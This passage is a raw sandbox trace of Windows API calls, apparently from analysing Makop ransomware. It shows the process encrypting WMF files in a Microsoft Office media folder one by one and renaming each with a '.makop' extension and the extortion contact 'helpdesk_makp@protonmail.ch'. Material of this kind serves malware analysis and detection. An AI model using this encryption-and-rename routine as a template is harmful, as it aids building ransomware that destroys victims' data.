lpBuffer=0x6370020, nNumberOfBytesToRead=0x2518, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2518, lpOverlapped=0x0) returned 1 [0162.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2520, dwBufLen=0x2520 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2520) returned 1 [0162.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2520, lpOverlapped=0x0) returned 1 [0162.830] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.831] SetEndOfFile (hFile=0xf0) returned 1 [0162.837] GetProcessHeap () returned 0x48a0000 [0162.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.837] GetProcessHeap () returned 0x48a0000 [0162.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.837] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.839] CloseHandle (hObject=0xf0) returned 1 [0162.839] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0162.839] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF") returned 61 [0162.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.840] GetProcessHeap () returned 0x48a0000 [0162.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0162.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.845] GetProcessHeap () returned 0x48a0000 [0162.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.845] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.845] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.846] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.847] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8ec4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8ec4, lpOverlapped=0x0) returned 1 [0162.849] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ed0, dwBufLen=0x8ed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ed0) returned 1 [0162.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8ed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8ed0, lpOverlapped=0x0) returned 1 [0162.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.850] SetEndOfFile (hFile=0xf0) returned 1 [0162.857] GetProcessHeap () returned 0x48a0000 [0162.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.857] GetProcessHeap () returned 0x48a0000 [0162.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.857] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.859] CloseHandle (hObject=0xf0) returned 1 [0162.859] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0162.859] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF") returned 61 [0162.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.860] GetProcessHeap () returned 0x48a0000 [0162.860] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.860] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0162.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.866] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.866] GetProcessHeap () returned 0x48a0000 [0162.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.866] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.866] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.866] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.866] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.868] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf5e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf5e, lpOverlapped=0x0) returned 1 [0162.868] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60, dwBufLen=0xf60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf60) returned 1 [0162.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf60, lpOverlapped=0x0) returned 1 [0162.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.868] SetEndOfFile (hFile=0xf0) returned 1 [0162.875] GetProcessHeap () returned 0x48a0000 [0162.875] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.875] GetProcessHeap () returned 0x48a0000 [0162.875] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.875] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.877] CloseHandle (hObject=0xf0) returned 1 [0162.877] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0162.877] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF") returned 61 [0162.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.879] GetProcessHeap () returned 0x48a0000 [0162.879] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.879] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0162.884] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.884] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.884] GetProcessHeap () returned 0x48a0000 [0162.884] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.884] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.884] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.884] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.885] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.885] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.886] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.886] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x341e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x341e, lpOverlapped=0x0) returned 1 [0162.887] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3420, dwBufLen=0x3420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3420) returned 1 [0162.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3420, lpOverlapped=0x0) returned 1 [0162.888] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x34f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.888] SetEndOfFile (hFile=0xf0) returned 1 [0162.895] GetProcessHeap () returned 0x48a0000 [0162.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.895] GetProcessHeap () returned 0x48a0000 [0162.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.895] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.897] CloseHandle (hObject=0xf0) returned 1 [0162.897] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0162.897] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF") returned 61 [0162.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.898] GetProcessHeap () returned 0x48a0000 [0162.898] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.898] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.899] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.899] GetProcessHeap () returned 0x48a0000 [0162.899] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.899] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.899] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.899] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.903] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.903] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.904] CryptImportKey (in: hProv=0x48bcc28, 